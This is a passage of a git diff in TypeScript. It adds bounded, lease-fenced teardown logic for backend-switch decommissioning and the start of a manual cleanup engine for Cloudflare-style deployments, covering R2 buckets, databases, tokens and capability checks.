+    entryPendingArtifactVersion = record.pendingArtifactVersion;
+    entryPendingNamespaceIds = inspection.durableObjectBindings
+      .map(({ namespaceId }) => namespaceId)
+      .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0));
+  }
+  const providerTargetSpecDigest =
+    intent.stateReconcileIntent?.targetSpecDigest ?? intent.targetSpecDigest;
+  const proposedSnapshot = intent.decommissionSnapshot
+    ? {
+        ...intent.decommissionSnapshot,
+        prior: intent.prior,
+        restoredArtifactVersion: intent.restoredArtifactVersion ?? null,
+        entryPendingArtifactVersion,
+        entryPendingNamespaceIds,
+        providerTargetSpecDigest,
+        desiredSpecDigest,
+      }
+    : authorizeDecommissionSnapshot(record, intent, {
+        desiredSpecDigest,
+        entryPendingArtifactVersion,
+        entryPendingNamespaceIds,
+        providerTargetSpecDigest,
+      });
+  const {
+    decommissionSnapshotSha256: _priorSnapshotSha256,
+    decommissionEntrySubphase: _priorEntrySubphase,
+    ...unmarkedIntent
+  } = intent;
+  const canonicalSnapshot = backendSwitchIntentFromUnknown({
+    ...unmarkedIntent,
+    decommissionSnapshot: proposedSnapshot,
+  }).decommissionSnapshot;
+  if (!canonicalSnapshot) {
+    throw new Error('backend switch decommission authorization was lost');
+  }
+  const snapshot = canonicalSnapshot;
+  const entrySubphase = intent.subphase;
+  const snapshotSha256 = backendSwitchDecommissionSnapshotDigest(snapshot);
+  const startSubphase = intent.decommissionSnapshot
+    ? intent.subphase
+    : 'decommission-traffic-authorized';
+  intent = next(intent, startSubphase, {
+    decommissionSnapshot: snapshot,
+    decommissionSnapshotSha256: snapshotSha256,
+    decommissionEntrySubphase: entrySubphase,
+  });
+  const operationId = options.randomUUID();
+  parseDecommissionAdvanceToken({
+    version: 1,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    operationId,
+    revision: 0,
+  });
+  databaseExportReceiptIdentity(
+    record,
+    operationId,
+    capabilities.receiptAuthority,
+    capabilities.receiptAuthority,
+  );
+  const shell = backendSwitchDecommissionShell({
+    record,
+    intent,
+    operationId,
+    snapshotSha256,
+    entrySubphase,
+    now: record.updatedAt,
+  });
+  await lease.putOwnership(
+    normalizeSwitchDecommissionEntry(record, intent, shell),
+    intent,
+  );
+  return lease.current();
+}
+
+async function advanceBoundedSwitchCurrent(
+  options: AdvanceBackendSwitchDecommissionOptions,
+  lease: BackendSwitchLease,
+  capabilities: BackendSwitchCapabilitySet,
+): Promise<FleetRecord> {
+  const record = lease.current();
+  const shell = record.decommissionIntent;
+  const intent = record.backendSwitchIntent;
+  if (!shell || shell.state === 'complete' || !intent) {
+    return record;
+  }
+  const snapshot = intent.decommissionSnapshot;
+  if (!snapshot || !completeSnapshotGroup(snapshot)) {
+    throw new Error(
+      'backend switch decommission snapshot lacks bounded authority',
+    );
+  }
+  if (shell.state === 'discover' || shell.state === 'verify') {
+    return advanceDecommissionAttachmentScanStep({
+      intent: shell,
+      scan: capabilities.scan,
+      maxProviderRequests: options.maxProviderRequests,
+      signal: options.signal,
+      persist: (transition) =>
+        putBackendSwitchOwnership(
+          lease,
+          intent,
+          nextBackendSwitchShell(record, intent, transition),
+        ),
+      consumeMatchingVerify: ({ intent: verified }) =>
+        consumeSwitchVerify(options, lease, capabilities, verified),
+    });
+  }
+  if (intent.subphase === 'decommission-traffic-authorized') {
+    const pendingArtifact = entryPendingArtifact(snapshot, options);
+    await options.provider.removeSwitchTraffic({
+      prior: snapshot.prior,
+      priorSpec: options.priorSpec,
+      bridge: snapshot.bridge,
+      plan: snapshot.bridgePlan,
+      targetSpec: options.targetSpec,
+      allowedArtifactVersions: allowedSwitchArtifactVersions(snapshot),
+      tenantTag: intent.tenantTag,
+      environment: intent.environment,
+      routeHostname: snapshot.routeHostname,
+      routeTargets: snapshot.routeTargets.map(({ routeTarget }) => routeTarget),
+      ...(pendingArtifact ? { entryPendingArtifact: pendingArtifact } : {}),
+      fence: lease,
+    });
+    await options.provider.assertSwitchTrafficRemoved({
+      prior: snapshot.prior,
+      routeHostname: snapshot.routeHostname,
+    });
+    const nextSwitch = next(intent, 'decommission-traffic-removed');
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }),
+    );
+  }
+  if (
+    intent.subphase === 'decommission-traffic-removed' ||
+    intent.subphase === 'decommission-candidate-authorized'
+  ) {
+    const index = snapshot.releases.findIndex(
+      ({ subphase }) => subphase !== 'deleted',
+    );
+    if (index >= 0) {
+      const progress = snapshot.releases[
+        index
+      ] as BackendSwitchDecommissionRelease;
+      let authorizedIntent = intent;
+      if (progress.subphase === 'present') {
+        const releases = [...snapshot.releases];
+        releases[index] = { ...progress, subphase: 'delete-authorized' };
+        authorizedIntent = next(intent, 'decommission-candidate-authorized', {
+          decommissionSnapshot: { ...snapshot, releases },
+        });
+        await putBackendSwitchOwnership(
+          lease,
+          authorizedIntent,
+          nextBackendSwitchShell(record, authorizedIntent, {
+            state: 'transitioning',
+          }),
+        );
+      }
+      await options.provider.removeSwitchRelease({
+        prior: snapshot.prior,
+        tenantTag: intent.tenantTag,
+        environment: intent.environment,
+        routeHostname: snapshot.routeHostname,
+        release: progress.release,
+        fence: lease,
+      });
+      const current = lease.current();
+      const currentSnapshot =
+        authorizedIntent.decommissionSnapshot as BackendSwitchDecommissionSnapshot;
+      const releases = [...currentSnapshot.releases];
+      releases[index] = { ...progress, subphase: 'deleted' };
+      const deletedIntent = next(
+        authorizedIntent,
+        'decommission-candidate-authorized',
+        { decommissionSnapshot: { ...currentSnapshot, releases } },
+      );
+      return putBackendSwitchOwnership(
+        lease,
+        deletedIntent,
+        nextBackendSwitchShell(current, deletedIntent, {
+          state: 'transitioning',
+        }),
+      );
+    }
+    const nextSwitch = next(intent, 'decommission-candidate-removed');
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }),
+    );
+  }
+  if (
+    intent.subphase === 'decommission-candidate-removed' ||
+    intent.subphase === 'decommission-bridge-authorized'
+  ) {
+    let authorized = intent;
+    if (intent.subphase === 'decommission-candidate-removed') {
+      authorized = next(intent, 'decommission-bridge-authorized');
+      await putBackendSwitchOwnership(
+        lease,
+        authorized,
+        nextBackendSwitchShell(record, authorized, { state: 'transitioning' }),
+      );
+    }
+    const pendingArtifact = entryPendingArtifact(snapshot, options);
+    await options.provider.removeSwitchBridge({
+      prior: snapshot.prior,
+      priorSpec: options.priorSpec,
+      bridge: snapshot.bridge,
+      plan: snapshot.bridgePlan,
+      targetSpec: options.targetSpec,
+      allowedArtifactVersions: allowedSwitchArtifactVersions(snapshot),
+      ...(pendingArtifact ? { entryPendingArtifact: pendingArtifact } : {}),
+      fence: lease,
+    });
+    const current = lease.current();
+    const nextSwitch = next(authorized, 'decommission-bridge-removed');
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(current, nextSwitch, { state: 'transitioning' }),
+    );
+  }
+  if (intent.subphase === 'decommission-bridge-removed') {
+    const progress = snapshot.applicationResources.map((resource) => ({
+      resource,
+      subphase: resource.state,
+    }));
+    const nextSwitch = next(intent, 'decommission-application-r2-authorized', {
+      applicationR2Progress: progress,
+    });
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, {
+        state: 'transitioning',
+        lifecyclePhase: 'application-resources-deleting',
+      }),
+    );
+  }
+  if (intent.subphase === 'decommission-application-r2-authorized') {
+    const resources = record.applicationResources ?? [];
+    const advanced = await advanceApplicationR2Deletion({
+      spec: specForDigest(snapshot.desiredSpecDigest, options),
+      resources,
+      backend: {
+        findApplicationR2Bucket: (resource) =>
+          options.provider.findSwitchApplicationR2(resource),
+        assertApplicationR2Empty: (resource, fence) =>
+          options.provider.assertSwitchApplicationR2Empty(resource, fence),
+        deleteApplicationR2Bucket: (resource, fence) =>
+          options.provider.deleteSwitchApplicationR2(resource, fence),
+      },
+      fence: lease,
+      startResourceIndex: 0,
+    });
+    if (advanced.status === 'detachment-required') {
+      const resource = advanced.resources[advanced.resourceIndex];
+      if (!resource?.creationDate) {
+        throw new Error('backend switch application R2 authority is malformed');
+      }
+      const nextSwitch = next(
+        intent,
+        'decommission-application-r2-authorized',
+        {
+          applicationR2Progress: advanced.resources.map((entry) => ({
+            resource: entry,
+            subphase: entry.state,
+          })),
+        },
+      );
+      return putBackendSwitchOwnership(
+        lease,
+        nextSwitch,
+        nextBackendSwitchShell(record, nextSwitch, {
+          state: 'discover',
+          purpose: {
+            kind: 'application-r2-detach',
+            resourceIndex: advanced.resourceIndex,
+            name: resource.name,
+            bucketName: resource.bucketName,
+            jurisdiction: resource.jurisdiction,
+            reservationNonce: resource.reservationNonce,
+            creationDate: resource.creationDate,
+          },
+          progress: initialWorkerAttachmentScan({
+            kind: 'r2',
+            bucketName: resource.bucketName,
+          }),
+          generation: shell.generation + 1,
+        }),
+      );
+    }
+    if (advanced.status === 'complete') {
+      const nextSwitch = next(intent, 'decommission-application-r2-removed', {
+        applicationR2Progress: resources.map((resource) => ({
+          resource,
+          subphase: resource.state,
+        })),
+      });
+      return putBackendSwitchOwnership(
+        lease,
+        nextSwitch,
+        nextBackendSwitchShell(record, nextSwitch, {
+          state: 'transitioning',
+          lifecyclePhase: 'application-resources-deleted',
+        }),
+      );
+    }
+    const nextSwitch = next(intent, 'decommission-application-r2-authorized', {
+      applicationR2Progress: advanced.resources.map((resource) => ({
+        resource,
+        subphase: resource.state,
+      })),
+    });
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, { state: 'transitioning' }),
+    );
+  }
+  if (intent.subphase === 'decommission-application-r2-removed') {
+    const nextSwitch = next(intent, 'decommission-export-authorized');
+    return putBackendSwitchOwnership(
+      lease,
+      nextSwitch,
+      nextBackendSwitchShell(record, nextSwitch, {
+        state: 'discover',
+        lifecyclePhase: 'application-resources-deleted',
+        databaseExportReceiptAuthority: capabilities.receiptAuthority,
+        purpose: { kind: 'database-pre-export', databaseId: record.databaseId },
+        progress: initialWorkerAttachmentScan({
+          kind: 'd1',
+          databaseId: record.databaseId,
+        }),
+        generation: shell.generation + 1,
+      }),
+    );
+  }
+  if (intent.subphase === 'decommission-exported') {
+    return putBackendSwitchOwnership(
+      lease,
+      intent,
+      nextBackendSwitchShell(record, intent, {
+        state: 'discover',
+        lifecyclePhase: 'database-exported',
+        purpose: databasePreDeletePurposeForSwitch(record),
+        progress: initialWorkerAttachmentScan({
+          kind: 'd1',
+          databaseId: record.databaseId,
+        }),
+        generation: shell.generation + 1,
+      }),
+    );
+  }
+  if (intent.subphase === 'decommission-database-authorized') {
+    const database = await reconcileSwitchDatabase(
+      capabilities,
+      record,
+      lease,
+      true,
+    );
+    if (!database) {
+      return completeBackendSwitchDecommission(lease, record, intent);
+    }
+    return putBackendSwitchOwnership(
+      lease,
+      intent,
+      nextBackendSwitchShell(record, intent, {
+        state: 'discover',
+        lifecyclePhase: 'database-deleting',
+        purpose: databasePreDeletePurposeForSwitch(record),
+        progress: initialWorkerAttachmentScan({
+          kind: 'd1',
+          databaseId: record.databaseId,
+        }),
+        generation: shell.generation + 1,
+      }),
+    );
+  }
+  throw new Error(
+    `unsupported bounded backend-switch decommission subphase '${intent.subphase}'`,
+  );
+}
+
+/** Inputs for one root-only bounded backend-switch teardown action. */
+export interface AdvanceBackendSwitchDecommissionOptions {
+  readonly store: FleetStateStore;
+  readonly provider: BackendSwitchProvider;
+  readonly priorSpec: DeploymentSpec;
+  readonly targetSpec: DeploymentSpec;
+  readonly currentSpec?: DeploymentSpec;
+  readonly action: DecommissionAdvanceAction;
+  readonly maxProviderRequests: number;
+  /**
+   * Call-local cancellation, never persisted. This engine forwards it to the
+   * bounded attachment scan, which is where it is honoured; the engine takes
+   * no step of its own on it.
+   */
+  readonly signal?: AbortSignal;
+  readonly clock?: () => number;
+  readonly randomUUID: () => string;
+}
+
+async function advanceBackendSwitchDecommissionInternal(
+  options: AdvanceBackendSwitchDecommissionOptions,
+  precaptured?: BackendSwitchCapabilitySet,
+): Promise<DecommissionAdvanceResult> {
+  validateDeploymentSpec(options.priorSpec);
+  validateDeploymentSpec(options.targetSpec);
+  if (options.currentSpec) validateDeploymentSpec(options.currentSpec);
+  assertPlainPrior(options.priorSpec);
+  assertExternalTarget(options.targetSpec);
+  assertSameDeployment(options.priorSpec, options.targetSpec);
+  assertWorkerAttachmentProviderRequestBudget(options.maxProviderRequests);
+  const action = decommissionAdvanceActionFromUnknown(options.action);
+  if (typeof options.randomUUID !== 'function') {
+    throw new Error(
+      'advanceBackendSwitchDecommission requires a randomUUID function',
+    );
+  }
+  const token =
+    action.kind === 'start'
+      ? undefined
+      : parseDecommissionAdvanceToken(action.token);
+  if (
+    token &&
+    (token.tenantTag !== options.priorSpec.tenantTag ||
+      token.environment !== options.priorSpec.environment)
+  ) {
+    throw new DecommissionAdvanceTokenDeploymentError();
+  }
+  return withBackendSwitchLease(
+    options.store,
+    options.priorSpec.tenantTag,
+    options.priorSpec.environment,
+    options.clock ?? Date.now,
+    async (lease) => {
+      let record = lease.current();
+      assertBackendSwitchPriorSpecAuthority(record, options.priorSpec);
+      const existing = record.decommissionIntent;
+      if (action.kind === 'start' && existing) {
+        if (existing.state !== 'complete') {
+          const capabilities =
+            precaptured ??
+            captureBackendSwitchDecommissionCapabilities(options.provider);
+          assertBackendSwitchDecommissionAuthority(
+            record,
+            options,
+            capabilities,
+          );
+        }
+        return backendSwitchAdvanceResult(record);
+      }
+      if (action.kind !== 'start') {
+        if (!token || !existing) {
+          throw new DecommissionAdvanceTokenOperationError();
+        }
+        const classification = classifyDecommissionAdvanceToken(token, record);
+        if (classification === 'stale')
+          return backendSwitchAdvanceResult(record);
+        if (action.kind === 'restart-blocked') {
+          if (existing.state !== 'blocked') {
+            throw new DecommissionAdvanceRestartError();
+          }
+          const capabilities =
+            precaptured ??
+            captureBackendSwitchDecommissionCapabilities(options.provider);
+          assertBackendSwitchDecommissionAuthority(
+            record,
+            options,
+            capabilities,
+          );
+          const switchIntent =
+            record.backendSwitchIntent as BackendSwitchIntent;
+          record = await putBackendSwitchOwnership(
+            lease,
+            switchIntent,
+            nextBackendSwitchShell(record, switchIntent, {
+              state: 'discover',
+              purpose: existing.purpose,
+              progress: initialWorkerAttachmentScan(
+                purposeTargetForSwitch(existing.purpose),
+              ),
+              generation: existing.generation + 1,
+            }),
+          );
+          return backendSwitchAdvanceResult(record);
+        }
+        if (existing.state === 'blocked' || existing.state === 'complete') {
+          return backendSwitchAdvanceResult(record);
+        }
+      }
+      if (!existing) {
+        const switchIntent = record.backendSwitchIntent;
+        if (
+          switchIntent &&
+          BACKEND_SWITCH_SUBPHASES.indexOf(switchIntent.subphase) >=
+            BACKEND_SWITCH_SUBPHASES.indexOf('decommission-export-authorized')
+        ) {
+          throw new Error(
+            'bounded backend-switch decommission cannot adopt shell-less legacy D1 authorization',
+          );
+        }
+      }
+      const capabilities =
+        precaptured ??
+        captureBackendSwitchDecommissionCapabilities(options.provider);
+      assertBackendSwitchDecommissionAuthority(record, options, capabilities);
+      if (!existing) {
+        record = await startBoundedSwitchShell(options, lease, capabilities);
+      } else {
+        record = await advanceBoundedSwitchCurrent(
+          options,
+          lease,
+          capabilities,
+        );
+      }
+      return backendSwitchAdvanceResult(record);
+    },
+  );
+}
+
+/**
+ * Starts, reads, or advances one root-only backend-switch teardown operation.
+ * One call performs at most one bounded scan or lifecycle/resource action group.
+ */
+export function advanceBackendSwitchDecommission(
+  options: AdvanceBackendSwitchDecommissionOptions,
+): Promise<DecommissionAdvanceResult> {
+  return advanceBackendSwitchDecommissionInternal(options);
+}
+
+function shouldUseBoundedCompatibility(
+  provider: BackendSwitchProvider,
+): BackendSwitchCapabilitySet | undefined {
+  let scan: unknown;
+  try {
+    scan = Reflect.get(
+      provider,
+      'advanceSwitchDecommissionAttachmentScan',
+      provider,
+    );
+  } catch {
+    throw new DecommissionAdvanceCapabilityError('attachment-scan');
+  }
+  if (typeof scan !== 'function') return undefined;
+  let authority: unknown;
+  let receipt: unknown;
+  try {
+    authority = Reflect.get(
+      provider,
+      'databaseExportReceiptAuthority',
+      provider,
+    );
+    receipt = Reflect.get(provider, 'exportSwitchDatabaseReceipt', provider);
+  } catch {
+    throw new Error('database export receipt capability is malformed');
+  }
+  const pair = strictSwitchReceiptPair(provider, authority, receipt, true);
+  if (!pair) return undefined;
+  return captureBackendSwitchDecommissionCapabilities(provider, {
+    scan: scan.bind(provider) as NonNullable<
+      BackendSwitchProvider['advanceSwitchDecommissionAttachmentScan']
+    >,
+    receiptAuthority: pair.authority,
+    exportReceipt: pair.exportReceipt,
+  });
+}
+
+/** Asynchronous one-call compatibility drain for backend-switch teardown. */
+export async function decommissionBackendSwitch(options: {
+  readonly store: FleetStateStore;
+  readonly provider: BackendSwitchProvider;
+  readonly priorSpec: DeploymentSpec;
+  readonly targetSpec: DeploymentSpec;
+  readonly currentSpec?: DeploymentSpec;
+}): Promise<BackendSwitchIntent> {
+  const rawCurrent = await options.store.get(
+    options.priorSpec.tenantTag,
+    options.priorSpec.environment,
+  );
+  const structuralCurrent = rawCurrent
+    ? structuralBackendSwitchFleetRecordFromUnknown(rawCurrent)
+    : undefined;
+  const current = structuralCurrent?.carriesBackendSwitchAuthority
+    ? backendSwitchFleetRecordFromUnknown(structuralCurrent.record).record
+    : structuralCurrent?.record;
+  if (current) {
+    assertNoActiveCleanup(current, 'decommissionBackendSwitch');
+  }
+  if (!current?.backendSwitchIntent) {
+    if (current) {
+      assertNoActiveDecommission(current, 'decommissionBackendSwitch');
+    }
+    throw new Error('backend switch has no decommission snapshot');
+  }
+  if (current.decommissionIntent?.state === 'complete') {
+    return assertBackendSwitchPriorSpecAuthority(current, options.priorSpec);
+  }
+  if (
+    !current.decommissionIntent &&
+    (BACKEND_SWITCH_SUBPHASES.indexOf(current.backendSwitchIntent.subphase) >=
+      BACKEND_SWITCH_SUBPHASES.indexOf('decommission-export-authorized') ||
+      (current.backendSwitchIntent.decommissionSnapshot &&
+        !completeSnapshotGroup(
+          current.backendSwitchIntent.decommissionSnapshot,
+        ) &&
+        current.backend === 'plain-worker' &&
+        !current.pendingArtifactVersion))
+  ) {
+    return decommissionBackendSwitchLegacy(options);
+  }
+  const capabilities = current.decommissionIntent
+    ? captureBackendSwitchDecommissionCapabilities(options.provider)
+    : shouldUseBoundedCompatibility(options.provider);
+  if (!capabilities) return decommissionBackendSwitchLegacy(options);
+  let action: DecommissionAdvanceAction = { kind: 'start' };
+  let restartedEntryBlock = false;
+  for (let index = 0; index < 10_000; index += 1) {
+    const result = await advanceBackendSwitchDecommissionInternal(
+      {
+        ...options,
+        action,
+        maxProviderRequests: 1_000,
+        randomUUID: nodeRandomUUID,
+      },
+      index === 0 ? capabilities : undefined,
+    );
+    if (result.status === 'complete') {
+      return result.result.record.backendSwitchIntent as BackendSwitchIntent;
+    }
+    if (result.status === 'blocked') {
+      if (action.kind === 'start' && !restartedEntryBlock) {
+        restartedEntryBlock = true;
+        action = { kind: 'restart-blocked', token: result.token };
+        continue;
+      }
+      throw new Error(
+        'bounded backend-switch decommission remains blocked by a Worker attachment',
+      );
+    }
+    action = { kind: 'continue', token: result.token };
+  }
+  throw new Error('bounded backend-switch decommission did not converge');
+}
diff --git a/packages/fleet-control/src/cleanup-advance.ts b/packages/fleet-control/src/cleanup-advance.ts
new file mode 100644
index 00000000..49be0b07
--- /dev/null
+++ b/packages/fleet-control/src/cleanup-advance.ts
@@ -0,0 +1,1357 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  advanceApplicationR2Deletion,
+  assertApplicationR2EmptyBeforeDecommission,
+} from './application-bindings.js';
+import {
+  CleanupAdvanceTokenDeploymentError,
+  CleanupAdvanceTokenOperationError,
+  classifyCleanupAdvanceToken,
+  classifyCleanupDatabaseEligibility,
+  normalizeCleanupAdvanceIntent,
+  parseCleanupAdvanceToken,
+} from './cleanup-intent.js';
+import {
+  assertWorkerAttachmentProviderRequestBudget,
+  initialWorkerAttachmentScan,
+  parseWorkerAttachmentScanProgress,
+  WORKER_ATTACHMENT_EVIDENCE_BOUND,
+} from './cloudflare-worker-attachment-scan-state.js';
+import {
+  activeExternalRelease,
+  assertImmutableDeploymentMapping,
+  reconcilePersistedDatabase,
+  retainedExternalReleases,
+} from './decommission-advance.js';
+import { settleDatabaseDeletionUnderBarrier } from './decommission-database.js';
+import { deploymentSpecDigest } from './spec-digest.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  ApplicationR2Resource,
+  CleanupAdvanceIntent,
+  CleanupAdvanceState,
+  CleanupAdvanceToken,
+  CleanupAttachmentProgress,
+  CleanupAttachmentPurpose,
+  CleanupAttachmentScan,
+  CleanupAuthority,
+  CleanupReceiptEvidence,
+  CleanupTerminalReceipt,
+  DatabaseReference,
+  DecommissionBlockedAttachment,
+  DeploymentSpec,
+  FleetRecord,
+  FleetStateLease,
+  FleetStateStore,
+  ProvisioningBackend,
+} from './types.js';
+import {
+  assertNoActiveDecommission,
+  SETTLED_BACKEND_SWITCH_SUBPHASES,
+} from './types.js';
+import { validateDeploymentSpec } from './validation.js';
+
+const ACTION_ERROR = 'cleanup advance action is malformed';
+const RESULT_ERROR = 'bounded cleanup attachment result is malformed';
+const ATTACHMENT_STRING_BYTE_BOUND = 4_096;
+const RESULT_PLAIN_DATA_DEPTH_BOUND = 64;
+const RESULT_PLAIN_DATA_NODE_BOUND = 8_192;
+const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const STRUCTURED_CLONE = structuredClone;
+
+/** Caller command for one bounded cleanup invocation. */
+export type CleanupAdvanceAction =
+  | Readonly<{
+      /**
+       * Create a new manual-cleanup operation, or read/resume an existing
+       * operation of EITHER authority. New operations are manual-cleanup only;
+       * rollback operations are created internally by the failed-provision
+       * path.
+       */
+      kind: 'start';
+    }>
+  | Readonly<{
+      /** Advance a strictly parsed current token; stale returns current state. */
+      kind: 'continue';
+      token: unknown;
+    }>
+  | Readonly<{
+      /** Explicitly restart an exact current blocked operation. */
+      kind: 'restart-blocked';
+      token: unknown;
+    }>;
+
+/** Inputs for one lease-scoped bounded cleanup action group. */
+export interface AdvanceCleanupDeploymentOptions {
+  readonly backend: ProvisioningBackend;
+  readonly store: FleetStateStore;
+  readonly spec: DeploymentSpec;
+  /** Typed command; its token remains an unknown strict-codec boundary. */
+  readonly action: CleanupAdvanceAction;
+  /** Provider-fetch attempt budget for each bounded attachment scan, integer 9..1,000. */
+  readonly maxProviderRequests: number;
+  /**
+   * Call-local cancellation, never persisted. This engine forwards it to the
+   * bounded attachment scan, which is where it is honoured; the engine takes
+   * no step of its own on it.
+   */
+  readonly signal?: AbortSignal;
+  /** Timestamp source; called once for each accepted write. */
+  readonly clock?: () => number;
+  /** Called exactly once only when a genuinely new operation starts. */
+  readonly randomUUID: () => string;
+}
+
+/** Authoritative durable outcome after at most one bounded group. */
+export type CleanupAdvanceResult =
+  | Readonly<{
+      /** More work remains; the token, not this status, is continuation input. */
+      status: 'pending';
+      token: CleanupAdvanceToken;
+    }>
+  | Readonly<{
+      /** Provider attachment blocks deletion until explicit restart. */
+      status: 'blocked';
+      token: CleanupAdvanceToken;
+      purpose: CleanupAttachmentPurpose;
+      attachment: DecommissionBlockedAttachment;
+    }>
+  | Readonly<{
+      /** Terminal receipt persisted atomically with claims release and row deletion. */
+      status: 'complete';
+      token: CleanupAdvanceToken;
+      receipt: CleanupTerminalReceipt;
+    }>;
+
+/** Named capability whose absence makes bounded cleanup work fail closed. */
+export type CleanupAdvanceCapability =
+  | 'attachment-scan'
+  | 'database-residuals'
+  | 'database-read'
+  | 'database-delete'
+  | 'application-r2-inspection'
+  | 'application-r2-empty'
+  | 'application-r2-detach'
+  | 'application-r2-delete'
+  | 'terminal-receipt'
+  | 'receipt-read';
+
+const CAPABILITY_MESSAGES: Readonly<Record<CleanupAdvanceCapability, string>> =
+  Object.freeze({
+    'attachment-scan':
+      'backend cannot perform bounded cleanup attachment scans',
+    'database-residuals': 'backend cannot inspect database deletion residuals',
+    'database-read': 'backend cannot read the database for bounded cleanup',
+    'database-delete': 'backend cannot delete the database for bounded cleanup',
+    'application-r2-inspection':
+      'backend cannot inspect application R2 resources',
+    'application-r2-empty': 'backend cannot attest application R2 emptiness',
+    'application-r2-detach': 'backend cannot attest application R2 detachment',
+    'application-r2-delete': 'backend cannot delete application R2 resources',
+    'terminal-receipt':
+      'state lease cannot complete cleanup with an atomic terminal receipt',
+    'receipt-read': 'state store cannot read cleanup terminal receipts',
+  });
+
+/** Fixed configuration refusal for one missing bounded capability. */
+export class CleanupAdvanceCapabilityError extends Error {
+  constructor(readonly capability: CleanupAdvanceCapability) {
+    super(CAPABILITY_MESSAGES[capability]);
+    this.name = 'CleanupAdvanceCapabilityError';
+  }
+}
+
+/** Refusal for restart without an exact current blocked operation. */
+export class CleanupAdvanceRestartError extends Error {
+  constructor() {
+    super('cleanup advance restart requires a current blocked operation');
+    this.name = 'CleanupAdvanceRestartError';
+  }
+}
+
+const REFUSAL_MESSAGES = Object.freeze({
+  'invocation-authorized':
+    'deployment candidate invocation was durably authorized; use export-backed decommissioning',
+  'legacy-phase-ambiguous':
+    'legacy deployment phase cannot rule out candidate invocation; use export-backed decommissioning',
+  'carrier-phase-inconsistent':
+    'invocation authority carrier is inconsistent with the deployment phase; use export-backed decommissioning',
+  'malformed-carrier':
+    'invocation authority carrier is malformed; use export-backed decommissioning',
+  'untrusted-data-binding':
+    'deployment carries an untrusted data binding; use export-backed decommissioning',
+  'external-staging-evidence':
+    'deployment carries external staging evidence; use export-backed decommissioning',
+});
+
+type CleanupEligibilityRefusal = Extract<
+  ReturnType<typeof classifyCleanupDatabaseEligibility>,
+  { readonly eligible: false }
+>;
+
+function eligibilityRefusal(
+  classification: CleanupEligibilityRefusal,
+  phase: FleetRecord['phase'],
+): Error {
+  if (classification.reason === 'phase-requires-decommission') {
+    return new Error(
+      `deployment in phase '${phase}' requires export-backed decommissioning`,
+    );
+  }
+  return new Error(REFUSAL_MESSAGES[classification.reason]);
+}
+
+function requireCapability(
+  available: unknown,
+  capability: CleanupAdvanceCapability,
+): asserts available is (...arguments_: never[]) => unknown {
+  if (typeof available !== 'function') {
+    throw new CleanupAdvanceCapabilityError(capability);
+  }
+}
+
+function requiredCapability<Value>(
+  available: Value,
+  capability: CleanupAdvanceCapability,
+): NonNullable<Value> {
+  requireCapability(available, capability);
+  return available as NonNullable<Value>;
+}
+
+function malformedAction(): never {
+  throw new Error(ACTION_ERROR);
+}
+
+function cleanupActionFromUnknown(value: unknown): CleanupAdvanceAction {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 8,
+      maxNodes: 32,
+      maxScalarBytes: 2_048,
+      maxSerializedBytes: 2_048,
+      error: () => new Error(ACTION_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformedAction();
+  }
+  if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+    return malformedAction();
+  }
+  const candidate = plain as Record<string, unknown>;
+  const keys = Object.keys(candidate).sort();
+  if (candidate.kind === 'start' && keys.length === 1 && keys[0] === 'kind') {
+    return { kind: 'start' };
+  }
+  if (
+    (candidate.kind === 'continue' || candidate.kind === 'restart-blocked') &&
+    keys.length === 2 &&
+    keys[0] === 'kind' &&
+    keys[1] === 'token'
+  ) {
+    return { kind: candidate.kind, token: candidate.token };
+  }
+  return malformedAction();
+}
+
+function malformedResult(): never {
+  throw new Error(RESULT_ERROR);
+}
+
+function assertReservedAttempts(value: unknown, maximum: number): void {
+  if (
+    !Number.isSafeInteger(value) ||
+    Number(value) < 0 ||
+    Number(value) > maximum
+  ) {
+    malformedResult();
+  }
+}
+
+function boundedString(value: unknown): value is string {
+  return (
+    typeof value === 'string' &&
+    value.length > 0 &&
+    value.length <= ATTACHMENT_STRING_BYTE_BOUND &&
+    new TextEncoder().encode(value).byteLength <= ATTACHMENT_STRING_BYTE_BOUND
+  );
+}
+
+function safeAttachment(value: unknown): DecommissionBlockedAttachment {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    return malformedResult();
+  }
+  const candidate = value as Record<string, unknown>;
+  const plane = candidate.plane;
+  const scriptName = candidate.scriptName;
+  const dispatchNamespace = candidate.dispatchNamespace;
+  if (plane === 'ordinary' && boundedString(scriptName)) {
+    return { plane, scriptName };
+  }
+  if (
+    plane === 'dispatch' &&
+    boundedString(scriptName) &&
+    boundedString(dispatchNamespace)
+  ) {
+    return { plane, scriptName, dispatchNamespace };
+  }
+  return malformedResult();
+}
+
+function nowIso(clock: () => number): string {
+  return new Date(clock()).toISOString();
+}
+
+function omitIntent(record: FleetRecord): Omit<FleetRecord, 'cleanupIntent'> {
+  const { cleanupIntent: _intent, ...source } = record;
+  return source;
+}
+
+function normalizeIntent(
+  intent: CleanupAdvanceIntent,
+  record: FleetRecord,
+): CleanupAdvanceIntent {
+  return normalizeCleanupAdvanceIntent(intent, omitIntent(record));
+}
+
+function tokenFor(record: FleetRecord): CleanupAdvanceToken {
+  const intent = record.cleanupIntent;
+  if (!intent) throw new CleanupAdvanceTokenOperationError();
+  return {
+    version: 1,
+    tenantTag: record.tenantTag,
+    environment: record.environment,
+    operationId: intent.operationId,
+    revision: intent.revision,
+  };
+}
+
+function authoritativeResult(record: FleetRecord): CleanupAdvanceResult {
+  const intent = record.cleanupIntent;
+  if (!intent) throw new CleanupAdvanceTokenOperationError();
+  const token = tokenFor(record);
